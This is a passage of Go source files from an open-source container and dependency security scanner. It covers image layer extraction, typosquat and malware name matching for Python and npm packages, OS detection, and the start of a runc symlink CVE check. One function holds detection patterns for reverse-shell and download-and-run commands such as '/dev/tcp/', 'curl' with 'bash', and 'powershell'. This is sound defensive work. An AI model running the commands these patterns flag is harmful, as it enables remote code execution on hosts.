    "content": "package layer\n\nimport (\n\t\"archive/tar\"\n\t\"fmt\"\n\t\"os\"\n\t\"path/filepath\"\n\n\t\"github.com/kvesta/vesta/pkg\"\n)\n\ntype Layer struct {\n\tHash       string `json:\"hash\"`\n\tAnnotation string `json:\"path\"`\n}\n\nfunc (l *Layer) Integration(dir, layerHash string) error {\n\tlayerFile := filepath.Join(dir, layerHash+\".tar\")\n\n\tlayer, err := os.Open(layerFile)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tdefer func() {\n\t\tlayer.Close()\n\t\tos.Remove(layerFile)\n\t}()\n\n\tlayerReader := tar.NewReader(layer)\n\terr = pkg.Walk(layerReader, dir)\n\tif err != nil {\n\t\treturn fmt.Errorf(\"extract err: %v\", err)\n\t}\n\n\treturn nil\n}\n"
  },
  {
    "path": "pkg/layer/manifest.go",
    "content": "package layer\n\nimport (\n\t_image \"github.com/kvesta/vesta/pkg/inspector\"\n)\n\ntype Manifest struct {\n\tName      string              `json:\"name\"`\n\tHash      string              `json:\"hash\"`\n\tLayers    []*Layer            `json:\"layers\"`\n\tHistories []*_image.ImageInfo `json:\"histories\"`\n\tLocalpath string              `json:\"localpath\"`\n}\n"
  },
  {
    "path": "pkg/match/match_test.go",
    "content": "package match\n\nimport (\n\t\"reflect\"\n\t\"testing\"\n)\n\nfunc TestPythonMatch(t *testing.T) {\n\ttype args struct {\n\t\ts string\n\t}\n\n\ttests := []struct {\n\t\tname    string\n\t\targs    args\n\t\twant    Suspicion\n\t\twantErr bool\n\t}{\n\t\t{\n\t\t\tname: \"normal\",\n\t\t\targs: args{s: \"django\"},\n\t\t\twant: Suspicion{\n\t\t\t\tTypes:      Unknown,\n\t\t\t\tOriginPack: \"\",\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tname: \"noramlConfusion\",\n\t\t\targs: args{s: \"fastapi\"},\n\t\t\twant: Suspicion{\n\t\t\t\tTypes:      Unknown,\n\t\t\t\tOriginPack: \"\",\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tname: \"confusion\",\n\t\t\targs: args{s: \"selenuim\"},\n\t\t\twant: Suspicion{\n\t\t\t\tTypes:      Confusion,\n\t\t\t\tOriginPack: \"selenium\",\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tname: \"confusion2\",\n\t\t\targs: args{s: \"pilow\"},\n\t\t\twant: Suspicion{\n\t\t\t\tTypes:      Confusion,\n\t\t\t\tOriginPack: \"pillow\",\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tname: \"malware\",\n\t\t\targs: args{s: \"smb\"},\n\t\t\twant: Suspicion{\n\t\t\t\tTypes:      Malware,\n\t\t\t\tOriginPack: \"pysmb\",\n\t\t\t},\n\t\t},\n\t}\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tgot := PyMatch(tt.args.s)\n\t\t\tif !reflect.DeepEqual(got, tt.want) {\n\t\t\t\tt.Errorf(\"PyMatch() got = %v, want %v\", got, tt.want)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestPythonNormalPackages(t *testing.T) {\n\ttype args struct {\n\t\ts string\n\t}\n\n\ttype TestPy struct {\n\t\tname    string\n\t\targs    args\n\t\twant    Suspicion\n\t\twantErr bool\n\t}\n\n\tvar tests []TestPy\n\n\tfor _, p := range pypis {\n\t\ttests = append(tests, struct {\n\t\t\tname    string\n\t\t\targs    args\n\t\t\twant    Suspicion\n\t\t\twantErr bool\n\t\t}{name: p, args: args{s: p}, want: Suspicion{\n\t\t\tTypes:      Unknown,\n\t\t\tOriginPack: \"\",\n\t\t}})\n\t}\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tgot := PyMatch(tt.args.s)\n\t\t\tif !reflect.DeepEqual(got, tt.want) {\n\t\t\t\tt.Errorf(\"PyMatch() got = %v, want %v\", got, tt.want)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestNodeMatch(t *testing.T) {\n\ttype args struct {\n\t\ts string\n\t}\n\n\ttests := []struct {\n\t\tname    string\n\t\targs    args\n\t\twant    Suspicion\n\t\twantErr bool\n\t}{\n\t\t{\n\t\t\tname: \"confusion\",\n\t\t\targs: args{s: \"ladash\"},\n\t\t\twant: Suspicion{\n\t\t\t\tTypes:      Confusion,\n\t\t\t\tOriginPack: \"lodash\",\n\t\t\t},\n\t\t},\n\t\t{\n\t\t\tname: \"confusion2\",\n\t\t\targs: args{s: \"socketio\"},\n\t\t\twant: Suspicion{\n\t\t\t\tTypes:      Confusion,\n\t\t\t\tOriginPack: \"socket.io\",\n\t\t\t},\n\t\t},\n\t}\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tgot := NpmMatch(tt.args.s)\n\t\t\tif !reflect.DeepEqual(got, tt.want) {\n\t\t\t\tt.Errorf(\"NpmMatch() got = %v, want %v\", got, tt.want)\n\t\t\t}\n\t\t})\n\t}\n}\n\nfunc TestNpmNormalPackages(t *testing.T) {\n\ttype args struct {\n\t\ts string\n\t}\n\n\ttype TestNpm struct {\n\t\tname    string\n\t\targs    args\n\t\twant    Suspicion\n\t\twantErr bool\n\t}\n\n\tvar tests []TestNpm\n\n\tfor _, p := range npms {\n\t\ttests = append(tests, struct {\n\t\t\tname    string\n\t\t\targs    args\n\t\t\twant    Suspicion\n\t\t\twantErr bool\n\t\t}{name: p, args: args{s: p}, want: Suspicion{\n\t\t\tTypes:      Unknown,\n\t\t\tOriginPack: \"\",\n\t\t}})\n\t}\n\tfor _, tt := range tests {\n\t\tt.Run(tt.name, func(t *testing.T) {\n\t\t\tgot := PyMatch(tt.args.s)\n\t\t\tif !reflect.DeepEqual(got, tt.want) {\n\t\t\t\tt.Errorf(\"NpmMatch() got = %v, want %v\", got, tt.want)\n\t\t\t}\n\t\t})\n\t}\n}\n"
  },
  {
    "path": "pkg/match/node_packs.go",
    "content": "package match\n\nimport \"strings\"\n\nvar (\n\tnpms = []string{\"pug\", \"axios\", \"typescript\", \"mongodb\", \"lodash\", \"Mongoose\", \"redux\", \"osenv\",\n\t\t\"jest\", \"qs\", \"rxjs\", \"fs-extra\", \"ua-parser-js\", \"koa\", \"express\", \"d3\", \"express\", \"http-proxy\",\n\t\t\"Fastify\", \"socket.io\", \"dotenv\", \"async\", \"mssql\", \"cross-env\", \"redis\", \"nedb\", \"fusion\", \"asynckit\",\n\t\t\"run-async\", \"core-js\"}\n)\n\nfunc NpmMatch(pack string) Suspicion {\n\tt := Suspicion{\n\t\tTypes: Unknown,\n\t}\n\n\t// filter the origin packages\n\tfor _, npm := range npms {\n\t\tif pack == strings.ToLower(npm) {\n\t\t\treturn t\n\t\t}\n\t}\n\n\tif p := confusionCheck(pack, npms); p != \"\" {\n\t\tt.Types = Confusion\n\t\tt.OriginPack = p\n\t}\n\n\treturn t\n}\n"
  },
  {
    "path": "pkg/match/python_packs.go",
    "content": "package match\n\nimport (\n\t\"fmt\"\n\t\"io/ioutil\"\n\t\"os\"\n\t\"regexp\"\n\t\"strings\"\n)\n\nvar (\n\tpypis = []string{\"requests\", \"Django\", \"Flask\", \"datadog\", \"numpy\", \"Pillow\", \"PyYAML\", \"PySocks\",\n\t\t\"Scrapy\", \"scipy\", \"scapy\", \"Twisted\", \"torch\", \"torchvision\", \"pandas\", \"pastas\", \"algoliasearch\", \"tornado\",\n\t\t\"pypcap\", \"semidbm\", \"signalfx\", \"cassandra-driver\", \"ShopifyAPI\", \"zoomeye\", \"osc\", \"PyPtt\", \"flake8\", \"opencv-python\",\n\t\t\"distributed\", \"virtualenv\", \"selenium\", \"bs4\", \"beautifulsoup4\", \"lxml\", \"pylint\", \"pywin32\", \"web3\", \"pyebpf\",\n\t\t\"matplotlib\", \"pytest\", \"paramiko\", \"PySMT\", \"claripy\", \"angr\", \"urllib3\", \"urllib\"}\n\n\tmaliciousPypis = map[string]string{\n\t\t\"smi\":          \"pysmi\",\n\t\t\"smb\":          \"pysmb\",\n\t\t\"opencv\":       \"opencv-python\",\n\t\t\"python-mysql\": \"PyMySQL\",\n\t\t\"python-ftp\":   \"pyftpdlib\",\n\t\t\"ascii2text\":   \"art\",\n\t\t\"zlibsrc\":      \"zlib\",\n\t\t\"browserdiv\":   \"pybrowsers\",\n\t\t\"pwn\":          \"pwntools\",\n\t\t\"pymocks\":      \"unittest.mock\",\n\t\t\"PyProto2\":     \"unknown\",\n\t\t\"free-net-vpn\": \"unknown\",\n\t\t\"ebpf\":         \"pyebpf\",\n\t\t\"yaml\":         \"PyYAML\",\n\t}\n\n\tpyDoubleQuoteRex = regexp.MustCompile(`\"(.*?)\"`)\n\tpySingleQuoteRex = regexp.MustCompile(`'(.*?)'`)\n)\n\nfunc PyMatch(pack string) Suspicion {\n\tt := Suspicion{\n\t\tTypes: Unknown,\n\t}\n\tpack = strings.ToLower(pack)\n\n\t// filter the origin packages\n\tfor _, pypi := range pypis {\n\t\tif pack == strings.ToLower(pypi) {\n\t\t\treturn t\n\t\t}\n\t}\n\n\tif p := malwareCheck(pack); p != \"\" {\n\t\tt.Types = Confusion\n\t\tt.OriginPack = p\n\t\treturn t\n\t}\n\n\tif p := confusionCheck(pack, pypis); p != \"\" {\n\t\tt.Types = Confusion\n\t\tt.OriginPack = p\n\t}\n\n\treturn t\n}\n\nfunc malwareCheck(pack string) string {\n\tfor mal, ori := range maliciousPypis {\n\t\tif pack == mal {\n\t\t\treturn ori\n\t\t}\n\t}\n\treturn \"\"\n}\n\n// PyMalwareScan the malicious packages from pip\n// reference: https://github.com/DataDog/guarddog\nfunc PyMalwareScan(filename string) Suspicion {\n\tt := Suspicion{\n\t\tTypes: Unknown,\n\t}\n\n\tf, err := os.Open(filename)\n\tif err != nil {\n\t\treturn t\n\t}\n\n\tdefer f.Close()\n\n\tdata, err := ioutil.ReadAll(f)\n\tif err != nil {\n\t\treturn t\n\t}\n\n\td := []string{}\n\n\tdoubleQuotesMatch := pyDoubleQuoteRex.FindAllStringSubmatch(string(data), -1)\n\tsingleQuotesMatch := pySingleQuoteRex.FindAllStringSubmatch(string(data), -1)\n\n\tfor _, q := range doubleQuotesMatch {\n\t\td = append(d, q[1])\n\t}\n\tfor _, q := range singleQuotesMatch {\n\t\td = append(d, q[1])\n\t}\n\n\tif url := pyCheckLink(d); url != \"\" {\n\t\tt.Types = Malware\n\t\tt.OriginPack = fmt.Sprintf(\"suspcious url '%s' are detected.\", url)\n\n\t\treturn t\n\t}\n\n\tif command := pyCheckCommand(d, string(data)); command != \"\" {\n\t\tt.Types = Malware\n\t\tt.OriginPack = fmt.Sprintf(`malicious command \"%s\" are detected.`, command)\n\n\t\treturn t\n\t}\n\n\treturn t\n}\n\nfunc pyCheckLink(d []string) string {\n\n\thttpRegex := []*regexp.Regexp{\n\t\tregexp.MustCompile(`(http[s]?:\\/\\/bit\\.ly.*)$`),\n\t\tregexp.MustCompile(`(http[s]?:\\/\\/.*\\.(link|xyz|tk|ml|ga|cf|gq|pw|top|club|mw|bd|ke|am|sbs|date|quest|cd|bid|cd|ws|icu|cam|uno|email|stream))$`),\n\t\tregexp.MustCompile(`(http[s]?:\\/\\/.*\\.(link|xyz|tk|ml|ga|cf|gq|pw|top|club|mw|bd|ke|am|sbs|date|quest|cd|bid|cd|ws|icu|cam|uno|email|stream)\\/)`),\n\t}\n\n\tfor _, l := range d {\n\t\tfor _, reg := range httpRegex {\n\t\t\thttpMatch := reg.FindStringSubmatch(l)\n\t\t\tif len(httpMatch) > 0 {\n\t\t\t\treturn httpMatch[1]\n\t\t\t}\n\t\t}\n\t}\n\treturn \"\"\n\n}\n\nfunc pyCheckCommand(d []string, data string) string {\n\texecRegex := []*regexp.Regexp{\n\t\tregexp.MustCompile(`os.system\\((.*)\\)`),\n\t\tregexp.MustCompile(`exec\\((.*)\\)`),\n\t\tregexp.MustCompile(`os.popen\\((.*)\\)`),\n\t\tregexp.MustCompile(`eval\\((.*)\\)`),\n\t\tregexp.MustCompile(`subprocess.Popen\\((.*)$,.*\\)`),\n\t\tregexp.MustCompile(`os.execl\\((.*)\\)`),\n\t\tregexp.MustCompile(`os.execve\\((.*)\\)`),\n\t\tregexp.MustCompile(`os.spawnl\\((.*)\\)`),\n\t\tregexp.MustCompile(`globals\\(\\)['eval']\\((.*)\\)`),\n\t}\n\n\tfor _, l := range d {\n\t\t// Plain test checking\n\t\tif strings.Contains(l, \"powershell\") || strings.Contains(l, \"chmod +x\") ||\n\t\t\tstrings.Contains(l, \"/dev/tcp/\") ||\n\t\t\t(strings.Contains(l, \"curl\") || strings.Contains(l, \"wget\") && strings.Contains(l, \"bash\")) {\n\t\t\treturn l\n\t\t}\n\t}\n\n\tfor _, reg := range execRegex {\n\t\tregMatch := reg.FindStringSubmatch(data)\n\t\tif len(regMatch) < 2 {\n\t\t\tcontinue\n\t\t}\n\n\t\tif len(regMatch[1]) > 30 {\n\t\t\treturn regMatch[0]\n\t\t}\n\n\t}\n\n\treturn \"\"\n}\n"
  },
  {
    "path": "pkg/match/utils.go",
    "content": "package match\n\nimport (\n\t\"strings\"\n\n\t\"github.com/sergi/go-diff/diffmatchpatch\"\n)\n\ntype Suspicion struct {\n\tTypes      Operation\n\tOriginPack string\n}\n\ntype Operation int8\n\nconst (\n\t// Unknown item represents package is not detected.\n\tUnknown Operation = 0\n\t// Confusion item represents package is suspect a malicious package.\n\tConfusion Operation = 1\n\t// Malware item represents package is discovered as malicious package.\n\tMalware Operation = 2\n)\n\nfunc compare(pack1, pack2 string) float64 {\n\tdmp := diffmatchpatch.New()\n\tdiffs := dmp.DiffMain(pack1, pack2, false)\n\tmatches := 0\n\tfor _, diff := range diffs {\n\t\tif diff.Type == 0 {\n\t\t\tmatches += len(diff.Text)\n\t\t}\n\t}\n\n\tsums := len(pack1) + len(pack2)\n\tif sums > 0 {\n\t\treturn 2.0 * float64(matches) / float64(sums)\n\t}\n\n\treturn 1.0\n}\n\nfunc confusionCheck(pack string, datas []string) string {\n\tfor _, d := range datas {\n\t\td = strings.ToLower(d)\n\t\tratio := compare(pack, d)\n\t\td = strings.ToLower(d)\n\t\tif ratio < 0.99 && ratio > 0.70 {\n\t\t\treturn d\n\t\t}\n\t}\n\treturn \"\"\n}\n"
  },
  {
    "path": "pkg/osrelease/analyzer.go",
    "content": "package osrelease\n\nimport (\n\t\"context\"\n\t\"errors\"\n\t\"io\"\n\t\"io/ioutil\"\n\t\"log\"\n\t\"regexp\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/kvesta/vesta/pkg/layer\"\n\n\t\"github.com/docker/docker/api/types\"\n\t\"github.com/docker/docker/api/types/container\"\n\t\"github.com/docker/docker/client\"\n)\n\n// Reference https://manpages.ubuntu.com/manpages/bionic/zh_TW/man5/os-release.5.html\nvar paths = []string{\"etc/os-release\", \"etc/centos-release\", \"etc/photon-release\", \"usr/lib/os-release\"}\n\nfunc KernelParse(kernel string) KernelVersion {\n\tfilter := regexp.MustCompile(`[a-zA-Z]`)\n\tbegin := filter.FindStringIndex(kernel)[0]\n\tvalue := strings.Split(kernel[begin:], \" \")\n\n\tpublishDate := strings.Replace(strings.Join(value[len(value)-5:len(value)], \" \"), \"UTC \", \"\", -1)\n\tpublishDate = strings.TrimSpace(publishDate)\n\tpd, _ := time.Parse(\"Jan 2 15:04:05 2006\", publishDate)\n\n\tk := KernelVersion{\n\t\tVersion:   value[2],\n\t\tBuiltDate: pd,\n\t}\n\n\treturn k\n\n}\n\n// GetKernelVersion get kernel version from host machine\n// using `docker run` command so that to adapt to docker-desktop\n// kata-container is not taken into account yet\nfunc GetKernelVersion(ctx context.Context) (KernelVersion, error) {\n\tlog.Printf(\"Getting kernel version\")\n\tvar kernel KernelVersion\n\n\tcli, err := client.NewClientWithOpts(client.FromEnv, client.WithAPIVersionNegotiation())\n\n\tif err != nil {\n\t\treturn kernel, err\n\t}\n\n\tdefer cli.Close()\n\n\timages, err := cli.ImageList(ctx, types.ImageListOptions{})\n\tif err != nil {\n\t\tif strings.Contains(err.Error(), \"Is the docker daemon running?\") {\n\t\t\terr = errors.New(\"docker is not running\")\n\t\t\treturn kernel, err\n\t\t}\n\t\treturn kernel, err\n\t}\n\n\tvar busyboxImage = false\n\tfor _, image := range images {\n\t\tif len(image.RepoTags) < 1 {\n\t\t\tcontinue\n\t\t}\n\n\t\trepotag := image.RepoTags[0]\n\t\tif strings.Contains(repotag, \"busybox:1.34.1\") {\n\t\t\tbusyboxImage = true\n\t\t}\n\t}\n\n\tif !busyboxImage {\n\t\tlog.Printf(\"Pulling busybox:1.34.1 image for kernel checking\")\n\t\treader, err := cli.ImagePull(ctx, \"busybox:1.34.1\", types.ImagePullOptions{})\n\t\tif err != nil {\n\t\t\treturn kernel, err\n\t\t}\n\t\tdefer reader.Close()\n\n\t\t// Waiting for pulling image\n\t\tioutil.ReadAll(reader)\n\t}\n\n\tresp, err := cli.ContainerCreate(ctx, &container.Config{\n\t\tImage: \"busybox:1.34.1\",\n\t\tCmd: []string{\"cat\",\n\t\t\t\"/proc/version\"},\n\t\tTty: false,\n\t},\n\t\tnil, nil, nil, \"kernel-checking\")\n\tif err != nil {\n\t\treturn kernel, err\n\t}\n\tif err := cli.ContainerStart(ctx, resp.ID, types.ContainerStartOptions{}); err != nil {\n\t\treturn kernel, err\n\t}\n\n\tdefer func() {\n\t\tremoveOptions := types.ContainerRemoveOptions{\n\t\t\tRemoveVolumes: true,\n\t\t\tForce:         true,\n\t\t}\n\n\t\tif err := cli.ContainerRemove(ctx, resp.ID, removeOptions); err != nil {\n\t\t\tlog.Printf(\"Unable to remove container %s: %s\", resp.ID, err)\n\t\t}\n\t}()\n\n\tstatusCh, errCh := cli.ContainerWait(ctx, resp.ID, container.WaitConditionNotRunning)\n\tselect {\n\tcase err = <-errCh:\n\t\tif err != nil {\n\t\t\treturn kernel, err\n\t\t}\n\tcase <-statusCh:\n\t}\n\n\tout, err := cli.ContainerLogs(ctx, resp.ID, types.ContainerLogsOptions{ShowStdout: true})\n\tif err != nil {\n\t\treturn kernel, err\n\t}\n\n\tres := strings.Builder{}\n\t_, err = io.Copy(&res, out)\n\tif err != nil {\n\t\treturn kernel, err\n\t}\n\n\tkernel = KernelParse(res.String())\n\n\treturn kernel, nil\n}\n\n// DetectOs get os version\nfunc DetectOs(ctx context.Context, m layer.Manifest) (*OsVersion, error) {\n\tosv := &OsVersion{\n\t\tNAME: \"Linux\",\n\t\tOID:  \"linux\",\n\t}\n\n\tfor _, n := range paths {\n\t\trd, err := m.File(n)\n\t\tif err != nil {\n\t\t\tlog.Printf(\"detect os error: %v\", err)\n\t\t\tcontinue\n\t\t}\n\t\tconfig := rd.String()\n\t\tif config != \"\" {\n\t\t\tosv, err = getOs(config, n)\n\t\t\tif err != nil {\n\t\t\t\tlog.Printf(\"parse os error: %v\", err)\n\t\t\t}\n\t\t\tbreak\n\t\t}\n\t}\n\n\treturn osv, nil\n\n}\n\nfunc parse(config, path string) (map[string]string, error) {\n\tlines := strings.Split(config, \"\\n\")\n\tm := make(map[string]string)\n\tfor _, line := range lines {\n\t\tif len(line) == 0 {\n\t\t\tcontinue\n\t\t}\n\t\tversionRegex := regexp.MustCompile(`(\\d+\\.)?(\\d+\\.)?(\\*|\\d+)$`)\n\t\tswitch path {\n\t\tcase \"etc/os-release\", \"usr/lib/os-release\":\n\t\t\tindex := strings.Index(line, \"=\")\n\t\t\tif index > -1 {\n\t\t\t\tvalues := strings.Split(line, \"=\")\n\t\t\t\tvalues[1] = strings.Replace(values[1], `\"`, \"\", -1)\n\t\t\t\tm[values[0]] = values[1]\n\t\t\t}\n\t\tcase \"etc/centos-release\":\n\t\t\tm[\"NAME\"] = \"CentOS Linux\"\n\t\t\tm[\"OID\"] = \"CentOS\"\n\t\t\tm[\"VERSION_ID\"] = versionRegex.FindString(line)\n\n\t\tcase \"etc/photon-release\":\n\t\t\tindex := strings.Index(line, \"=\")\n\t\t\tif index > -1 {\n\t\t\t\tvalues := strings.Split(line, \"=\")\n\t\t\t\tm[\"VERSION\"] = values[1]\n\t\t\t} else {\n\t\t\t\tm[\"NAME\"] = \"VMware Photon OS\"\n\t\t\t\tm[\"OID\"] = \"Photon\"\n\t\t\t\tm[\"VERSION_ID\"] = versionRegex.FindString(line)\n\t\t\t}\n\t\tdefault:\n\t\t\t// ignore\n\t\t}\n\t}\n\treturn m, nil\n}\n\nfunc getOs(config, path string) (*OsVersion, error) {\n\tkv, err := parse(config, path)\n\tif err != nil {\n\t\treturn nil, err\n\t}\n\tos := &OsVersion{\n\t\tNAME: \"Linux\",\n\t\tOID:  \"linux\",\n\t}\n\tfor k, v := range kv {\n\t\tswitch k {\n\t\tcase \"NAME\":\n\t\t\tos.NAME = v\n\t\tcase \"OID\", \"ID\":\n\t\t\tos.OID = v\n\t\tcase \"VERSION\":\n\t\t\tos.VERSION = v\n\t\tcase \"VERSION_ID\":\n\t\t\tos.VERSION_ID = v\n\t\t}\n\t}\n\treturn os, nil\n}\n"
  },
  {
    "path": "pkg/osrelease/osversion.go",
    "content": "package osrelease\n\nimport \"time\"\n\ntype OsVersion struct {\n\tNAME       string `json:\"name\"`\n\tOID        string `json:\"oid\"`\n\tVERSION    string `json:\"version\"`\n\tVERSION_ID string `json:\"version___id\"`\n}\n\ntype KernelVersion struct {\n\tVersion   string\n\tBuiltDate time.Time\n}\n"
  },
  {
    "path": "pkg/packages/apt.go",
    "content": "package packages\n\nimport (\n\t\"context\"\n\t\"strings\"\n)\n\n// getAptPacks get apt and dpkg packages\nfunc (s *Packages) getAptPacks(ctx context.Context, dpkg string) error {\n\tpacks := strings.Split(dpkg, \"\\n\\n\")\n\tfor _, pe := range packs {\n\t\tif len(pe) < 1 {\n\t\t\tcontinue\n\t\t}\n\t\tp := &Package{}\n\t\tpeLine := strings.Split(pe, \"\\n\")\n\t\tfor _, l := range peLine {\n\t\t\tindex := strings.Index(l, \":\")\n\t\t\tif index > -1 {\n\t\t\t\tvalues := strings.Split(l, \":\")\n\t\t\t\tvalues[1] = strings.Replace(values[1], \" \", \"\", -1)\n\t\t\t\tswitch values[0] {\n\t\t\t\t// For ubuntu/debian\n\t\t\t\tcase \"Package\":\n\t\t\t\t\tp.Name = values[1]\n\t\t\t\tcase \"Version\":\n\t\t\t\t\tif len(values) > 2 {\n\t\t\t\t\t\tvalues[2] = strings.Replace(values[2], \" \", \"\", -1)\n\t\t\t\t\t\tp.Version = values[2]\n\t\t\t\t\t} else {\n\t\t\t\t\t\tp.Version = values[1]\n\t\t\t\t\t}\n\n\t\t\t\tcase \"Architecture\":\n\t\t\t\t\tp.Architecture = values[1]\n\n\t\t\t\t// For alpine linux\n\t\t\t\tcase \"P\":\n\t\t\t\t\tp.Name = values[1]\n\t\t\t\tcase \"V\":\n\t\t\t\t\tp.Version = values[1]\n\n\t\t\t\tdefault:\n\t\t\t\t\t// ignore\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\t\ts.Packs = append(s.Packs, p)\n\t}\n\treturn nil\n}\n"
  },
  {
    "path": "pkg/packages/arch.go",
    "content": "package packages\n\nimport (\n\t\"context\"\n\t\"regexp\"\n\t\"strings\"\n)\n\nfunc (s *Packages) getArchPacks(ctx context.Context, pacman string) error {\n\tpacks := strings.Split(pacman, \"\\n\")\n\tfor _, pe := range packs {\n\t\tif len(pe) < 1 {\n\t\t\tcontinue\n\t\t}\n\t\tindex := strings.Index(pe, \"[ALPM] installed\")\n\t\tif index > -1 {\n\t\t\tp := &Package{}\n\t\t\tinform := regexp.MustCompile(`((\\w+\\-)?(\\w+\\-)?(\\w+))?\\s\\((.*?)\\)`)\n\t\t\tvalue := inform.FindStringSubmatch(pe)\n\t\t\tif len(value) > 0 {\n\t\t\t\tv := strings.Split(value[0], \" \")\n\t\t\t\tp.Name = v[0]\n\t\t\t\tp.Version = value[len(value)-1]\n\t\t\t}\n\t\t\ts.Packs = append(s.Packs, p)\n\t\t}\n\n\t}\n\treturn nil\n}\n"
  },
  {
    "path": "pkg/packages/general.go",
    "content": "package packages\n\nimport (\n\t\"bufio\"\n\t\"context\"\n\t\"fmt\"\n\t\"io/fs\"\n\t\"io/ioutil\"\n\t\"os\"\n\t\"path/filepath\"\n\t\"regexp\"\n\t\"sort\"\n\t\"strings\"\n)\n\nfunc (s *Packages) Traverse(ctx context.Context) error {\n\n\tm := s.Mani\n\n\tfsys := os.DirFS(m.Localpath)\n\n\tif err := fs.WalkDir(fsys, \".\", func(path string, d fs.DirEntry, err error) error {\n\t\tswitch {\n\t\tcase err != nil:\n\t\t\treturn err\n\t\tcase d.IsDir():\n\n\t\t\t// Get node model\n\t\t\tif strings.HasSuffix(path, \"node_modules\") && strings.Count(path, \"node_modules\") < 2 {\n\t\t\t\treturn s.getNodeModulePacks(path)\n\t\t\t}\n\n\t\t\t// Get wordpress version\n\t\t\tif filepath.Base(path) == \"wordpress\" && strings.Count(path, \"wordpress\") < 2 {\n\t\t\t\twordPath := filepath.Join(m.Localpath, path)\n\t\t\t\twordpress, err := getWordpressInfo(wordPath)\n\t\t\t\tif err == nil {\n\t\t\t\t\twordpress.Path = path\n\t\t\t\t\ts.PHPPacks = append(s.PHPPacks, wordpress)\n\t\t\t\t}\n\t\t\t}\n\n\t\t\t// Check python virtual environment and exclude poetry\n\t\t\tif filepath.Base(path) == \"site-packages\" &&\n\t\t\t\t!strings.HasPrefix(path, \"usr/local/lib\") && !strings.Contains(path, \"pypoetry\") {\n\t\t\t\tsitePath := filepath.Join(m.Localpath, path)\n\t\t\t\tpips, err := getLocalPythonPacks(sitePath)\n\t\t\t\tif err != nil {\n\t\t\t\t\treturn err\n\t\t\t\t}\n\n\t\t\t\tpy := &Python{\n\t\t\t\t\tVersion:   fmt.Sprintf(\"python venv path: %s\", path),\n\t\t\t\t\tSitePacks: pips,\n\t\t\t\t\tSitePath:  path,\n\t\t\t\t}\n\n\t\t\t\ts.PythonPacks = append(s.PythonPacks, py)\n\t\t\t}\n\n\t\t\t// Check special path /var/www/html\n\t\t\tif path == \"var/www/html\" {\n\t\t\t\tdirPath := filepath.Join(m.Localpath, path)\n\t\t\t\tswitch getHTMLType(dirPath) {\n\t\t\t\tcase \"php\":\n\t\t\t\t\twordpress, err := getWordpressInfo(dirPath)\n\t\t\t\t\tif err != nil {\n\t\t\t\t\t\treturn err\n\t\t\t\t\t}\n\t\t\t\t\twordpress.Path = path\n\t\t\t\t\ts.PHPPacks = append(s.PHPPacks, wordpress)\n\t\t\t\tdefault:\n\t\t\t\t\t// ignore\n\t\t\t\t}\n\t\t\t}\n\n\t\t\treturn nil\n\t\t}\n\n\t\t// Parse jar, war\n\t\tif strings.HasSuffix(path, \".jar\") || strings.HasSuffix(path, \".war\") {\n\t\t\tfilename := filepath.Join(m.Localpath, path)\n\t\t\tf, err := os.Open(filename)\n\t\t\tif err != nil {\n\t\t\t\treturn nil\n\t\t\t}\n\n\t\t\tdefer f.Close()\n\t\t\tfi, err := f.Stat()\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tjava, err := getJavaPacks(f, fi.Size())\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\tjava.Path = path\n\t\t\tif java.Name == \"\" {\n\t\t\t\tjava.Name = filepath.Base(path)\n\t\t\t}\n\t\t\ts.JavaPacks = append(s.JavaPacks, java)\n\n\t\t}\n\n\t\t// Parse PHP composer.lock\n\t\tif strings.HasSuffix(path, \"composer.lock\") {\n\t\t\tfilename := filepath.Join(m.Localpath, path)\n\t\t\tf, err := os.Open(filename)\n\t\t\tif err != nil {\n\t\t\t\treturn nil\n\t\t\t}\n\n\t\t\tdefer f.Close()\n\n\t\t\tphp, err := getPHPPacks(f)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tcomparePath := filepath.Join(filepath.Dir(filename), \"composer.json\")\n\t\t\tif exists(comparePath) {\n\t\t\t\tcf, err := os.Open(comparePath)\n\t\t\t\tif err == nil {\n\t\t\t\t\tdefer cf.Close()\n\t\t\t\t\tphp.Name = parsePHPName(cf)\n\t\t\t\t}\n\t\t\t}\n\n\t\t\tif php.Name == \"\" {\n\t\t\t\tphp.Name = path\n\t\t\t}\n\n\t\t\tphp.Path = path\n\n\t\t\ts.PHPPacks = append(s.PHPPacks, php)\n\n\t\t}\n\n\t\t// Parse package management of Python poetry\n\t\tif strings.HasSuffix(path, \"pyproject.toml\") {\n\t\t\tfilename := filepath.Join(m.Localpath, path)\n\t\t\tpy, err := getPyproject(filename)\n\t\t\tif err != nil {\n\t\t\t\treturn nil\n\t\t\t}\n\n\t\t\ts.PythonPacks = append(s.PythonPacks, py)\n\t\t}\n\n\t\tin, err := d.Info()\n\t\tif err != nil {\n\t\t\treturn nil\n\t\t}\n\t\tmode := in.Mode()\n\n\t\t// Check the link file\n\t\tif mode&os.ModeSymlink != 0 {\n\t\t\tfilename := filepath.Join(m.Localpath, path)\n\t\t\ttargetPath, err := os.Readlink(filename)\n\t\t\tif err != nil {\n\t\t\t\treturn err\n\t\t\t}\n\n\t\t\ttargetPath = strings.Replace(targetPath, m.Localpath, \"\", -1)\n\n\t\t\t// Check CVE-2024-21626\n\t\t\t// Reference: https://github.com/opencontainers/runc/security/advisories/GHSA-xr7r-f8xq-vfvv\n\t\t\truncRegex := regexp.MustCompile(`(?i)/proc/self/fd`)\n\t\t\tif runcRegex.MatchString(targetPath) {\n\t\t\t\toth := &Other{\n\t\t\t\t\tName:  \"Malicious file link\",\n\t\t\t\t\tTitle: \"CVE-2024-21626\",\n\t\t\t\t\tScore: 7.5,\n\t\t\t\t\tLevel: \"high\",\n\t\t\t\t\tDesc: fmt.Sprintf(\"File '%s' 